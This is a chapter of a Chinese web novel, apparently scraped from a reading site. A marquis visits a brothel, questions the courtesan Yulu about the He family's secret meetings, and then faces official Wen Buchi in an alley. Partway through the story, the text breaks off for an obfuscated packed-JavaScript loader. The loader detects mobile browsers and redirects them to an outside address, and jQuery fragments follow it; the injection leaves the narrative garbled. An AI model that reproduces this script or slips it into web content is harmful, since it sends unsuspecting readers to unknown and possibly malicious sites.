老鸨见多识广,光看气质和行头就知身价,她的目光在南无歇身上溜了一圈,最后落在他袖口露出的那截玉扳指上,随后笑更殷勤了:“我的爷~!咱这醉春坊别的没有,姑娘们个个水灵,保准合您心意~”
南无歇拿着刚买的折扇在手心敲了敲,声音懒懒的:“你这儿的姑娘,都有什么本事啊?”
“诶呦那可多了去了,爷想要什么样的咱这里都有,”老鸨如数家珍,“翠儿会唱小曲,银珠弹得一手好琵琶,还有新来的晚儿,身段软得像面条,给爷您剥个橘子都能剥出花样来!”
南无歇就听着,没搭腔。
老鸨见他没动静,眼珠一转,凑近了些:“爷是想看点特别的?不瞒您说,咱这儿的头牌玉露姑娘,那才叫一绝!京城多少公子哥排着队想请她喝杯酒,门槛都快踏破了!”
“玉露?”南无歇抬了抬眼皮。
老鸨笑得更欢了,“不仅模样赛天仙,舞跳得才叫绝,一支《飞天》,看得人眼睛都直,玉露一舞,光是打赏,就堆了满满一桌子!”
南无歇挑了挑眉,没说行也没说不行。
老鸨是个会看眼色的,忙继续道:“爷要是想见,我这就去叫她来?不过咱们玉露姑娘身价高,不整夜算的,一刻钟十两银子,三个时辰起,这位爷您看……”*
“嗯,”南无歇从怀里摸出个钱袋,往桌上一撩,几锭银子滚出来,闪着白花花的光,“开个雅间,叫她来。”
老鸨的眼睛瞬间直了,手忙脚乱地把银子往怀里揣:“哎!哎!爷您敞亮!雅间现成的,最里头那间,清净!我这就去叫玉露,保证让她把压箱底的本事都拿出来!”
龟奴引着南无歇上了二楼,推开最里头的房门。
雅间不大,摆着张方桌,两把椅子,墙上挂着幅没什么章法的画。
南无歇往椅子上一靠,半阖着眼,手指还转着那把折扇,听着楼下隐约传来的喧闹,倒像是在自家院子里晒太阳。
没一会儿,门被推开,老鸨领着个姑娘走进来。那姑娘穿件水红舞衣,裙摆上点缀着细碎的金箔,发髻上插了支珍珠钗,走路时悄无声息,像朵飘进来的云。
“爷,您看咱玉露怎么样?”老鸨把姑娘往前推了推,笑得满脸褶子,“这身段,这模样,全京城找不出第二个!”
玉露姑娘屈膝福了福,声音细得像蚊子哼:“见过爷。”
南无歇没看她,依旧用折扇支着脑袋闭目养神,嘴角还噙着淡淡的笑。
老鸨赚银子的心迫切,又道:“爷要是瞧得上,想留玉露姑娘多久?三个时辰?还是……”
南无歇这才掀起眼皮扫了玉露一眼,又看向老鸨,声音还是那副懒懒散散的调子:“到明早。”
老鸨愣了一下,随即笑得见牙不见眼:“哎!好嘞!爷您等着,我这就去吩咐人备酒菜,保证伺候得您舒舒服服的!”
说着,给那小娘子使了个眼色就颠颠地退了出去,还不忘把门给带上。
18.试水
老鸨的脚步声刚消失在楼梯口,雅间里就静了下来,只有窗外隐约飘进来的丝竹声,软绵绵的,像团棉花。
南无歇还靠在椅背上,手里的折扇换了个姿势,扇顶轻轻抵着太阳穴,手指搭在扇骨上,有一下没一下地敲着。他闭着眼,瞧着懒怠,又有种说不出的劲儿,让人不敢随便搭话。
玉露站了会儿,见他没动静,便轻手轻脚地走过去,蹲下想去脱他的靴子,这是行里的规矩,伺候贵客得先把这些琐事做周全了。
“不用。”南无歇的声音不高,但干净利落。
玉露的手顿在靴面上,连忙直起身,垂着眼小声应:“是。”
她站在旁边,静静地看着这位爷,过了会儿,又试探着往前挪了挪,想去给他揉腿。
刚碰到裤管,就听见头顶传来一声极轻的呼吸。
她抬头,正对上南无歇的眼睛。
他不知何时睁开了眼,目光落在她脸上,不烫,却带着股沉甸甸的劲儿,像块水底的石头,压得人心里怯步。他没说话,就那么看着,眼底像蒙着层雾,看不真切,却又让人觉得被看得透透的。
玉露的手指却鬼使神差地往上挪了挪,顺着他的膝盖往上,轻轻揉着,她的动作很轻,带着点青楼女子惯有的讨好,装的像只小心翼翼的猫。
南无歇还是没说话,既没让她停,也没催她快些。
指尖快碰到大腿根时,玉露正想再往上些,手腕忽然被攥住了,力道不重,却很稳。
她还没反应过来,就被一股力道带得往前倒去,结结实实地撞进个温热的怀里。
南无歇身上依旧是淡淡的檀香混着点雪后的清冽,他的胳膊圈在玉露的腰上,蹭过她的舞衣,布料轻薄,能清晰地交换着温度。
玉露在这醉春坊待了三年,什么样的男人没见过?粗鲁的、斯文的、装腔作势的……可没一个像眼前这位,明明没做什么出格的事,偏就让人腿软。
但她太熟练了,她配合地表演着挣脱,果然抱得更紧了些。
“爷……”她的声音有点说不清道不明的期待,“您……”
南无歇低头看着她,眼底的雾散了些,他没碰别的地方,就那么圈着对方的腰,声音带着点笑意,“想伺候我?”
玉露太知道男人吃哪套了,故意把脸埋在南无歇怀里不抬头,但却觉得对方身上的檀香越来越浓,像张网,倒把她自己给罩了进去。
楼下的丝竹声还在飘,可玉露什么都听不见了,眼里心里,就只剩下圈在腰上的那只手,和头顶那道带着笑意的目光。
两人僵了片刻,空气里的檀香混着脂粉气,浓得化不开,玉露抬起手,在南无歇的衣襟上顿了顿,终是鼓起勇气,去解他领口的盘扣。
指尖刚触到那粒玉扣,她的手就被握住了。
“侯爷……?”
南无歇将她的手按在自己的胸上,不松不紧,却让她动不了分毫。
他笑了笑,“认识我?”
玉露愣了愣,摇摇头,随后又点点头,声音细弱:“瞧着面生,可爷您……”她目光扫过他袖口的玉扳指,“您这气度,定不是寻常人家,前些日子听银客官爷们提过好几次,说边关的南侯爷回了京…今日一见,奴家猜,您想必就是本尊了…”
南无歇低笑出声,松开她的手,抬了抬下巴,示意桌上的果盘:“去,吃点水果。”
果盘里摆着蜜饯、葡萄,还有切成瓣的橘子,码得整整齐齐。玉露懵了,眨巴着眼睛看他,不明白这好好的怎么突然要吃水果。
“先不急。”南无歇慢悠悠地摇着折扇,摇散了些暧昧,“聊聊,想了解了解你。”
他顿了顿,目光落在她脸上,笑意浅浅的:“在我了解透你之前,你需得把这些都吃完。”
玉露更懵了,却不敢违逆,只好走到桌边,拿起颗葡萄塞进嘴里,酸得她眯了眯眼。
“来这儿多久了?”南无歇的声音懒洋洋的,扇骨敲在掌心,发出轻响。
“三年了。”玉露含着葡萄,声音含糊不清。
“嗯。”南无歇应着,又问,“老家在哪儿?”
玉露咽了葡萄,拿起片橘子:“江南,苏州。”
“苏州好地方。”南无歇笑了笑,扇子转得更快了些,“怎么来了京城?”
“家里遭了灾,爹娘把奴家卖了……”玉露的声音低了下去,往嘴里塞了瓣橘子,酸的泪直往眼眶外涌。
南无歇没再追问,看着她小口小口地吃着水果,蜜饯甜得发腻,她也吃得认真。
过了会儿,南无歇忽然开口,“还差多少银子赎身?”
玉露剥橘子的手顿住了,抬头看他,她咬了咬唇,小声道:“妈妈说……还得十万两。”
“哦。”南无歇应了一声,没再说话,只拿着扇子有一下没一下地点着眉心。
雅间里静下来,只有玉露咀嚼水果的轻响,和门外隐约传来的丝竹声,她看着南无歇半合着眼的样子,这人眼神里没有贪婪,只有一种淡淡的、让人看不透的松弛。
她拿起颗蜜枣塞进嘴里,甜得齁人,随后缓缓垂下眼眸。
她在做抉择。
少顷,南无歇忽然开口:“这京城里叫得出名号的人物,姑娘都伺候过谁?”
玉露闻言动作顿了顿,橘子汁顺着指尖往下滴。她抬眼看向南无歇,见他还靠在椅背上,扇子抵在额角,见她看过来,还冲她挑了挑眉。
“京里的世家……”玉露含了含指尖上的汁水,声音低了些,“傅家的公子常来,上个月还包了奴家一整天,说是庆功,贺家的大郎来得勤,不过总带着些官员,看着像是谈事。”
她顿了顿,又补充道:“温家的几位公子也寻过奴家几回,说是就爱看奴家的舞。”
南无歇“嗯”了一声,扇子往桌上一敲:“这些人,每回都给姑娘多少银子?”
玉露拿起颗蜜饯,捏在手里转着圈:“傅家公子出手最阔,上次打赏就给了五十两,温家公子倒是按规矩来,多了没有。至于贺大郎,妈妈向来是不收的,不过他带的那些官员,有时会偷偷塞奴家碎银子,让奴家忘记他们说的话。”
南无歇把玩着扇子,扇骨在掌心转得飞快:“贺家带来的人,来这儿都谈些什么?”
玉露往嘴里丢了颗蜜饯,含糊道:“听不太清,他们总关着门说话,就听见几回提‘码头’‘漕运’‘粮仓’,还有回提到……‘谛听台’。”
“谛听台?”南无歇的扇子停了停。
“嗯,”玉露点了点头,拿起最后一片橘子塞进嘴里,“当时贺大郎还发了火,说什么‘谛听台那小子碍事’,具体的,奴家就没听清了。”
她把果盘里的水果吃得差不多了,手心里沾了些黏糊糊的汁水,正想去拿帕子擦,就见南无歇忽然站起身。
他手里还拎着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16538307|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那把折扇,走到她面前,居高临下地看着她,眼底的笑意淡了些,却更沉了。
“吃饱了?”
玉露被他看得有些发慌,连忙点头:“嗯。”
“那好。”南无歇笑了笑,转身往门口走,“你歇着吧,歇到明早。”
玉露愣住了:“侯爷,您…会回来吗?”
南无歇没回头,只挥了挥手里的扇子,声音飘过来,还是那副懒懒散散的调子:“我说了,先聊聊。”
门被轻轻带上,雅间里只剩下玉露一个人,还有满桌的果核。她看着空荡荡的门口,看不出神情的给自己斟了杯茶,随后缓缓看向南无歇刚刚坐过的那把椅子。
南无歇推开醉春坊的门,冷风“呼”地灌进来,吹得他脖颈一凉,倒把刚才那点脂粉气吹散了大半。他把折扇往袖里一揣,脚步慢悠悠地往巷口走,脑子里还转着玉露说的那些话。
刚拐过巷角,脚步忽然顿住。
巷口的雪还没化透,积在墙根下,泛着白花花的光,温不迟就站在那片白光里,青裘被风吹得贴在身上,就那么站着,像尊冰雕,眼神落在南无歇身上,又冷又硬。
南无歇挑了挑眉,没往前走,也没说话,也就那么站在原地,唇角还噙着点笑,从醉春坊带出来的那点漫不经心,又透着点说不清道不明的劲儿。
两人隔着七八步远,谁都没动,只有风卷着雪打在二人之间转圈,两人就这么对视着,像有无数根线在中间缠缠绕绕,绷紧了,又没断。
片刻后,温不迟迈开步子,缓缓走近,周身的寒气也跟着漫过来,他在南无歇面前站定,距离不过两步。
他沉默注视片刻,才轻声开口,“劳烦侯爷屈尊,到这种地方来查贺家与嵇家的事。”
南无歇挑了挑眉,“温大人这是在谢我?”
“下官只是觉得,”温不迟的目光落在他袖口,那里还沾着点浅粉的脂粉,眉头几不可察地蹙了下,“侯爷的法子,倒是比谛听台的耳目直接得多。”
南无歇低笑出声,往前凑了半步,声音压得低了些,带着点戏谑:“怎么?温大人这是心疼我了?觉得本侯不该来这种地方?”
温不迟往后退了半步,避开他身上那股若有似无的脂粉香,语气又冷了几分:“侯爷的去处下官管不着,只是贺家与嵇家的烂账藏得深,醉春坊不过是冰山一角,侯爷可莫要让下官失望啊。”
这话递得直白,又像块石头扔进水里,在南无歇眼底漾开点笑意。
“温大人前日还说要我的人头,今日便如此关心冷暖,本侯可好生感动,”他把玩着扇子,扇骨在指间转着,“想本侯怎么报答你?”
温不迟看着他,忽然扯开了嘴角,露出点极淡的、带着嘲讽的笑意:“侯爷,”
他顿了顿,“答应过下官的事侯爷做到才好。”
南无歇笑了,觉得这人这副冷傲的样子实在有趣,他收起扇子,往巷口瞥了眼,崔始颉和卫清禾还在那边等着。
“行了,知道了。”他摆了摆手,转身要走,又想起什么,回头看了眼温不迟。
“对了,那个玉露……”
他刻意拉长了尾音,随后用力一拱鼻子,状似回味爽感的样子。
“啧,真不错。”
说完,他便咧嘴一笑,转身大步离开了小巷子。
温不迟站在原地看着他的背影消失在巷口,缓缓握紧了拳头。